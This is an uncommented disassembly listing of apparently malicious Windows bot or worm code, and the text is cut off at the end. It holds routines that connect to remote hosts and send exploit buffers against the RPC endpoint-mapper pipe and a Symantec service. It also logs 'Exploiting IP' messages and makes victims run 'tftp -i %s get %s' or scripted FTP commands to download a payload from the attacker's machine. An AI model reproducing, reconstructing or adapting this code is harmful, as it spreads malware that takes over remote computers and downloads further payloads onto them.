loc_40D99C: ; CODE XREF: sub_40D977+19j ; sub_40D977+1Dj push ecx call sub_41D65F pop ecx loc_40D9A3: ; CODE XREF: sub_40D977+8j ; sub_40D977+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D977 endp ; =============== S U B R O U T I N E ======================================= sub_40D9B3 proc near ; CODE XREF: ___:0040D6D3p ; sub_40DB0C+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D8F2 test al, al jz short loc_40D9E1 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41CD20 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D9E1: ; CODE XREF: sub_40D9B3+12j mov eax, esi pop edi pop esi retn 8 sub_40D9B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D9E8 proc near ; CODE XREF: sub_40D824+39p ; sub_40D824+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D9FB call sub_426173 loc_40D9FB: ; CODE XREF: sub_40D9E8+Cj mov ecx, edi call sub_40DB0C mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40DA11 mov ebx, eax loc_40DA11: ; CODE XREF: sub_40D9E8+25j test ebx, ebx jbe short loc_40DA47 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41D670 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D8F2 test al, al jz short loc_40DA47 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40DA47: ; CODE XREF: sub_40D9E8+2Bj ; sub_40D9E8+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D9E8 endp ; =============== S U B R O U T I N E ======================================= sub_40DA4F proc near ; CODE XREF: sub_40D8F2+79p mov eax, offset loc_426AD0 call sub_41D640 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40DA75 mov edi, [ebp+8] loc_40DA75: ; CODE XREF: sub_40DA4F+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40DA82 xor eax, eax loc_40DA82: ; CODE XREF: sub_40DA4F+2Fj push eax call sub_41D9A5 pop ecx mov [ebp+8], eax jmp short loc_40DAB3 ; --------------------------------------------------------------------------- loc_40DA8E: ; DATA XREF: ___:00427F84o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40DA9D xor eax, eax loc_40DA9D: ; CODE XREF: sub_40DA4F+4Aj push eax call sub_41D9A5 mov [ebp+8], eax pop ecx mov eax, offset loc_40DAAD retn ; --------------------------------------------------------------------------- loc_40DAAD: ; DATA XREF: sub_40DA4F+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40DAB3: ; CODE XREF: sub_40DA4F+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40DAD1 cmp eax, edi jbe short loc_40DAC0 mov eax, edi loc_40DAC0: ; CODE XREF: sub_40DA4F+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41CD20 add esp, 0Ch loc_40DAD1: ; CODE XREF: sub_40DA4F+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D977 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40DAF1 mov edi, ebx loc_40DAF1: ; CODE XREF: sub_40DA4F+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40DA4F endp ; =============== S U B R O U T I N E ======================================= sub_40DB0C proc near ; CODE XREF: sub_40D9E8+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40DB39 mov al, [esi-1] test al, al jz short loc_40DB39 cmp al, 0FFh jz short loc_40DB39 push 1 call sub_40D977 push esi call sub_41B9C0 pop ecx push eax push esi mov ecx, edi call sub_40D9B3 loc_40DB39: ; CODE XREF: sub_40DB0C+9j ; sub_40DB0C+10j ... pop edi pop esi retn sub_40DB0C endp ; =============== S U B R O U T I N E ======================================= sub_40DB3C proc near ; DATA XREF: ___:00429008o test byte_4DC028, 1 jnz short loc_40DB4C or byte_4DC028, 1 loc_40DB4C: ; CODE XREF: sub_40DB3C+7j jmp $+5 push offset nullsub_1 call sub_41DA20 pop ecx retn sub_40DB3C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB5E proc near ; CODE XREF: ___:0040DF74p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_432958 lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset off_432950 lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43DB98 push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi nop call near ptr 26F0000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_4CE704 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_4CBA84 cmp eax, 5 mov ebx, 4C3h jz short loc_40DC22 cmp eax, ebx jnz short loc_40DC2C loc_40DC22: ; CODE XREF: sub_40DB5E+BEj push edi push edi push edi push esi call dword_4CBA84 loc_40DC2C: ; CODE XREF: sub_40DB5E+C2j cmp eax, 5 jz short loc_40DC3A cmp eax, ebx jz short loc_40DC3A push 1 pop eax jmp short loc_40DC3C ; --------------------------------------------------------------------------- loc_40DC3A: ; CODE XREF: sub_40DB5E+D1j ; sub_40DB5E+D5j xor eax, eax loc_40DC3C: ; CODE XREF: sub_40DB5E+DAj pop edi pop esi pop ebx leave retn sub_40DB5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC41 proc near ; CODE XREF: ___:0040DFC6p ; ___:0040E0A6p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_432958 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset off_432950 lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43DB98 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi nop call near ptr 26F0000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 add esp, 10h loc_40DCD2: ; CODE XREF: sub_40DC41+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_4CB91C test eax, eax jz short loc_40DCF2 push 7D0h nop call near ptr 2670EEFh jmp short loc_40DCD2 ; --------------------------------------------------------------------------- loc_40DCF2: ; CODE XREF: sub_40DC41+A2j push 1 pop eax pop edi pop esi leave retn sub_40DC41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCF9 proc near ; CODE XREF: ___:0040DFF5p ; ___:0040E133p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_41C500 push esi push edi push offset byte_42910C mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_40B22B mov edi, eax add esp, 10h test edi, edi jz loc_40DF48 push ebx mov ebx, offset off_43286C push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_41CD20 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BF70 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_41CD20 add esp, 24h lea esi, [edi+0D7h] loc_40DD7E: ; CODE XREF: sub_40DCF9+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_40DDCE mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_41CD20 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BF70 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_41CD20 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_40DD7E ; --------------------------------------------------------------------------- loc_40DDCE: ; CODE XREF: sub_40DCF9+90j cmp [ebp+arg_C4], 0 jz short loc_40DDE9 cmp [ebp+arg_C0], 3 jz short loc_40DDF2 cmp [ebp+arg_C0], 0 jmp short loc_40DDF0 ; --------------------------------------------------------------------------- loc_40DDE9: ; CODE XREF: sub_40DCF9+DCj cmp [ebp+arg_C0], 3 loc_40DDF0: ; CODE XREF: sub_40DCF9+EEj jnz short loc_40DDFB loc_40DDF2: ; CODE XREF: sub_40DCF9+E5j push 4 push offset dword_43294C jmp short loc_40DE02 ; --------------------------------------------------------------------------- loc_40DDFB: ; CODE XREF: sub_40DCF9:loc_40DDF0j push 4 push offset dword_432948 loc_40DE02: ; CODE XREF: sub_40DCF9+100j lea eax, [ebp+var_1FE0] push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_432480 push eax call sub_41CD20 push 10h lea eax, [ebp+var_CA4] push offset dword_4327E4 push eax call sub_41CD20 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_41CD20 lea edi, [esi+370h] push 3Ch push offset off_4327F8 lea eax, [ebp+edi+var_1004] push eax call sub_41CD20 add edi, 3Ch push 30h push offset dword_432838 lea eax, [ebp+edi+var_1004] push eax call sub_41CD20 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_41BEB5 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_41BF70 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_41CD20 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_40DF48: ; CODE XREF: sub_40DCF9+3Ej pop edi pop esi leave retn sub_40DCF9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1338h call sub_41C500 cmp dword ptr [ebp+0A8h], 1BDh push ebx push esi push edi jnz loc_40E0BA lea eax, [ebp-34h] push eax lea eax, [ebp+0Ch] push eax call sub_40DB5E pop ecx test eax, eax pop ecx jz loc_40E1CA lea eax, [ebp+0Ch] push eax lea eax, [ebp-338h] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_41C266 add esp, 0Ch xor ebx, ebx lea eax, [ebp-338h] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call near ptr 27106E5h nop cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DFD1 loc_40DFC2: ; CODE XREF: ___:0040E072j lea eax, [ebp+0Ch] push eax call sub_40DC41 pop ecx jmp loc_40E1CA ; --------------------------------------------------------------------------- loc_40DFD1: ; CODE XREF: ___:0040DFC0j lea eax, [ebp+0Ch] push 2 push eax call sub_4182CD pop ecx lea esi, [ebp+8] pop ecx push 1 push eax lea eax, [ebp-10h] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCF9 add esp, 0C8h cmp eax, ebx mov [ebp-8], eax jz short loc_40E069 mov edi, 186A0h push edi call sub_41BEB5 mov esi, eax push edi push ebx push esi call sub_41BF70 add esp, 10h lea eax, [ebp-0Ch] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_432434 push dword ptr [ebp-4] nop call near ptr 2710000h cmp byte ptr [esi+2], 0Ch jnz short loc_40E059 lea eax, [ebp-14h] push ebx push eax push dword ptr [ebp-10h] push dword ptr [ebp-8] push dword ptr [ebp-4] nop call near ptr 27007FFh test eax, eax jnz short loc_40E077 loc_40E059: ; CODE XREF: ___:0040E03Fj push esi call sub_41BA91 push dword ptr [ebp-8] call sub_41BA91 pop ecx pop ecx loc_40E069: ; CODE XREF: ___:0040E005j push dword ptr [ebp-4] nop call near ptr 2660830h jmp loc_40DFC2 ; --------------------------------------------------------------------------- loc_40E077: ; CODE XREF: ___:0040E057j lea eax, [ebp-0Ch] push ebx push eax push edi push esi push dword ptr [ebp-4] nop call near ptr 2700000h push dword ptr [ebp-8] mov edi, eax call sub_41BA91 push esi call sub_41BA91 pop ecx pop ecx push dword ptr [ebp-4] nop call near ptr 2660830h lea eax, [ebp+0Ch] push eax call sub_40DC41 cmp edi, 1 pop ecx jnz loc_40E1DE jmp loc_40E1CA ; --------------------------------------------------------------------------- loc_40E0BA: ; CODE XREF: ___:0040DF66j lea eax, [ebp+0Ch] push 1 push eax call sub_4182CD mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40E1CA xor ebx, ebx push ebx push 1 push 2 call dword_4CBA64 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_40E1CA push 10h lea eax, [ebp-24h] push ebx push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-24h], 2 push dword ptr [ebp+0A8h] call dword_4CB9E4 mov [ebp-22h], ax lea eax, [ebp+0Ch] push eax call dword_4CBA24 mov [ebp-20h], eax push ebx lea eax, [ebp-0Ch] push esi push eax lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCF9 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp-8], esi jnz short loc_40E14C push dword ptr [ebp-4] jmp short loc_40E1C4 ; --------------------------------------------------------------------------- loc_40E14C: ; CODE XREF: ___:0040E145j mov edi, [ebp-4] lea eax, [ebp-24h] push 10h push eax push edi call dword_4CB98C cmp eax, 0FFFFFFFFh jnz short loc_40E164 loc_40E161: ; CODE XREF: ___:0040E176j push esi jmp short loc_40E1BD ; --------------------------------------------------------------------------- loc_40E164: ; CODE XREF: ___:0040E15Fj push ebx push 48h push offset dword_432434 push edi call dword_4CBA34 cmp eax, 0FFFFFFFFh jz short loc_40E161 mov esi, 1000h push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CB9FC push ebx push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push edi call dword_4CBA34 cmp eax, 0FFFFFFFFh jnz short loc_40E1A5 push dword ptr [ebp-8] jmp short loc_40E1BD ; --------------------------------------------------------------------------- loc_40E1A5: ; CODE XREF: ___:0040E19Ej push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CB9FC push dword ptr [ebp-8] cmp eax, 0FFFFFFFFh jnz short loc_40E1D1 loc_40E1BD: ; CODE XREF: ___:0040E162j ; ___:0040E1A3j call sub_41BA91 pop ecx push edi loc_40E1C4: ; CODE XREF: ___:0040E14Aj call dword_4CBA7C loc_40E1CA: ; CODE XREF: ___:0040DF7Dj ; ___:0040DFCCj ... xor eax, eax jmp loc_40E28D ; --------------------------------------------------------------------------- loc_40E1D1: ; CODE XREF: ___:0040E1BBj call sub_41BA91 pop ecx push edi call dword_4CBA7C loc_40E1DE: ; CODE XREF: ___:0040E0AFj lea eax, [ebp+0Ch] push eax lea eax, [ebp-234h] push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_41C266 add esp, 0Ch xor esi, esi loc_40E1F8: ; CODE XREF: ___:0040E218j lea eax, [ebp-234h] push eax call sub_415E19 test eax, eax pop ecx jnz short loc_40E21C push 1388h nop call near ptr 2670EEFh inc esi cmp esi, 6 jl short loc_40E1F8 jmp short loc_40E28A ; --------------------------------------------------------------------------- loc_40E21C: ; CODE XREF: ___:0040E207j lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax lea eax, [ebp-234h] push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." push eax call sub_41C266 add esp, 10h cmp [ebp+0BCh], ebx jnz short loc_40E268 push ebx lea eax, [ebp-234h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 add esp, 14h loc_40E268: ; CODE XREF: ___:0040E249j lea eax, [ebp-234h] push eax call sub_415D38 mov eax, [ebp+0B0h] pop ecx shl eax, 6 inc dword_431810[eax] lea eax, dword_431810[eax] loc_40E28A: ; CODE XREF: ___:0040E21Aj push 1 pop eax loc_40E28D: ; CODE XREF: ___:0040E1CCj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E292 proc near ; CODE XREF: sub_40E3F1+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_4CBA24 mov [ebp+var_C], eax mov ax, word_4332A0 push eax call dword_4CB9E4 push esi push 1 push 2 mov [ebp+var_E], ax call dword_4CBA64 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E3CA lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB98C cmp eax, 0FFFFFFFFh jz loc_40E3CA push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CB9FC mov edi, offset byte_42910C push edi push edi push [ebp+arg_0] call sub_40AA06 pop ecx mov esi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 18h push dword_4CB720 push [ebp+arg_0] call sub_40AA06 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4CBA34 cmp eax, 0FFFFFFFFh jz short loc_40E3CA push 1F4h nop call near ptr 2670EEFh push edi push offset dword_42A2EC lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4CBA34 cmp eax, 0FFFFFFFFh jnz short loc_40E3CE loc_40E3CA: ; CODE XREF: sub_40E292+51j ; sub_40E292+67j ... xor al, al jmp short loc_40E3EC ; --------------------------------------------------------------------------- loc_40E3CE: ; CODE XREF: sub_40E292+136j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CB9FC push ebx call dword_4CBA7C mov al, 1 loc_40E3EC: ; CODE XREF: sub_40E292+13Aj pop edi pop esi pop ebx leave retn sub_40E292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E3F1 proc near ; CODE XREF: ___:0040E946p ; ___:0040E968p var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_41C500 mov eax, dword_43342C push ebx mov [ebp+var_10], eax mov eax, dword_433430 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_433420 push eax call sub_41C266 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_40E430: ; CODE XREF: sub_40E3F1+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_40E430 push 60h lea eax, [ebp+var_B4] push offset dword_432EB0 push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_41CD20 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC_0+3) push eax call sub_41B9C0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_41CD20 mov ax, word_4332A0 add esp, 2Ch push eax call dword_4CB9E4 xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_432BB0 call sub_41CD20 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_40E5ED mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_41BF70 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4332E0[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_41CD20 mov esi, offset loc_432B00 push esi call sub_41B9C0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_41CD20 push 4 lea eax, [ebp+var_11AC] push offset loc_433418 push eax call sub_41CD20 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_41CD20 add esp, 40h push esi call sub_41B9C0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_41CD20 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_40E5A6: ; CODE XREF: sub_40E3F1+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_40E5A6 mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_41BF70 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_41BF70 add esp, 18h jmp short loc_40E644 ; --------------------------------------------------------------------------- loc_40E5ED: ; CODE XREF: sub_40E3F1+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_41BF70 mov esi, offset loc_432B00 push esi call sub_41B9C0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_41CD20 lea eax, [ebp+var_10] push eax call sub_41B9C0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_41CD20 mov eax, dword_4332E0 add esp, 2Ch mov [ebp+var_768], eax loc_40E644: ; CODE XREF: sub_40E3F1+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_41BF70 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_4CBA34 cmp eax, 0FFFFFFFFh jnz short loc_40E683 loc_40E67C: ; CODE XREF: sub_40E3F1+2B9j ; sub_40E3F1+2E0j ... xor al, al jmp loc_40E82B ; --------------------------------------------------------------------------- loc_40E683: ; CODE XREF: sub_40E3F1+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9FC push ebx push 68h push offset dword_432F14 push edi call dword_4CBA34 cmp eax, 0FFFFFFFFh jz short loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9FC push ebx push 0A0h push offset dword_432F80 push edi call dword_4CBA34 cmp eax, 0FFFFFFFFh jz short loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9FC cmp [ebp+arg_C0], ebx jz loc_40E799 push 68h lea eax, [ebp+var_89B4] push offset dword_433138 push eax call sub_41CD20 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_41CD20 push 70h lea eax, [ebp+var_68DC] push offset dword_4331A4 push eax call sub_41CD20 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_41CD20 push 84h lea eax, [ebp+var_5DA8] push offset dword_433218 push eax call sub_41CD20 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_4CBA34 cmp eax, 0FFFFFFFFh jz loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9FC push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_40E7EF ; --------------------------------------------------------------------------- loc_40E799: ; CODE XREF: sub_40E3F1+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_433024 push eax call sub_41CD20 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_41CD20 push 90h lea eax, [ebp+var_245C] push offset off_4330A4 push eax call sub_41CD20 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_40E7EF: ; CODE XREF: sub_40E3F1+3A6j push eax push edi call dword_4CBA34 cmp eax, 0FFFFFFFFh jz loc_40E67C push 12Ch call near ptr 2670EEFh nop sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E292 add esp, 0BCh test al, al setnz al loc_40E82B: ; CODE XREF: sub_40E3F1+28Dj pop edi pop esi pop ebx leave retn sub_40E3F1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_41BF70 add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_4CBA24 push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_4CB9E4 push 6 push 1 push 2 mov [ebp-12h], ax call dword_4CBA64 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E929 lea eax, [ebp-14h] push 10h push eax push ebx call dword_4CB98C cmp eax, 0FFFFFFFFh jz loc_40E929 push edi push 89h push offset 